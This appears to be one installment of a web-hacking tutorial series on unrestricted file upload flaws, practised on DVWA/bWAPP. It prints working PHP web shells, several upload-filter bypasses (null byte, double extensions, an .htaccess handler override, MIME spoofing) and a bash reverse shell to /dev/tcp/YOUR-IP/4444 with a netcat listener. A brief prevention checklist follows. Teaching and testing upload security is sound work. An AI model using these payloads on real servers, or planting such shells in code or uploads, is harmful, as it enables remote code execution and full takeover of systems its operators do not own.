File Upload Vulnerabilities & Web Shells

💡 Introduction

File upload features are common in web apps — think profile pictures, documents, resumes.

But when poorly secured, these features let attackers upload:

Malware
PHP web shells
Reverse shell scripts
Persistent backdoors

In this part, you’ll learn how to:
✅ Find insecure upload forms
✅ Bypass file filters
✅ Deploy and trigger a web shell

🧠 What Is an Unrestricted File Upload?

It’s when a web app allows users to:

Upload any file type
Rename extensions (e.g. .php instead of .jpg)
Execute scripts from the upload directory

This leads to Remote Code Execution (RCE) — attackers can fully control the server.

🧪 Detecting a Vulnerable Upload

Red flags:

Accepts any file extension (.php, .exe, .sh)
Upload folder is public (/uploads/filename.php)
No MIME or content validation
Error messages during upload leaks info

⚙️ Practice with DVWA / bWAPP

1. Try uploading:

A .php file:

<?php echo shell_exec($_GET['cmd']); ?>

2. Visit:

http://localhost/dvwa/uploads/shell.php?cmd=whoami

You should see the command output — proof of RCE.

🔥 Upload Filter Bypass Techniques

🌀 Obfuscation:

Rename .php to .php.jpg
Use .ph%00p (null byte injection)
Upload .htaccess to enable script execution

🪞 MIME Type Spoofing:

Intercept request in Burp
Change Content-Type: image/jpeg for a .php file

🧩 Double Extension Trick:

shell.php;.jpg
shell.php%20

🪛 Rename with HTAccess (Apache only)

Upload .htaccess with:

SetHandler application/x-httpd-php
AddType application/x-httpd-php .jpg

Now .jpg files are executed as PHP.

🐚 Deploying a Web Shell

Popular PHP shell scripts:

<?php system($_GET['cmd']); ?>

Or use:

<?php passthru($_REQUEST['cmd']); ?>

Access like:

🎧 Reverse Shell (Advanced)

1. Setup listener:

nc -lvnp 4444

2. Upload and trigger shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1'"); ?>

3. Trigger in browser:

/uploads/shell.php

Boom — your terminal lights up with a shell.

🛡️ How to Prevent File Upload Exploits

From the defender’s side:

❌ Don’t allow .php, .exe, .sh, .js, etc.
✅ Use strict whitelisting (.jpg, .png, .pdf)
✅ Rename files on upload and store them outside web root
✅ Verify MIME types and scan uploaded files
✅ Never allow uploads to executable folders

📋 Quick Checklist

Vulnerability	Risk
No extension filtering	PHP upload & exec
No MIME type check	Bypass via spoof
Public uploads folder	Easy access to shell
.htaccess override	Execute disguised scripts

🔚 Wrapping Up

File upload bugs are often missed — but a single upload can mean total system takeover.

You now know:

How to detect upload flaws
Bypass filters
Deploy web shells and reverse shells
How to defend your own upload systems

👉 Next up:
Part 8 – Broken Authentication & Session Hijacking

We’ll cover how attackers exploit weak login systems to hijack accounts and impersonate users.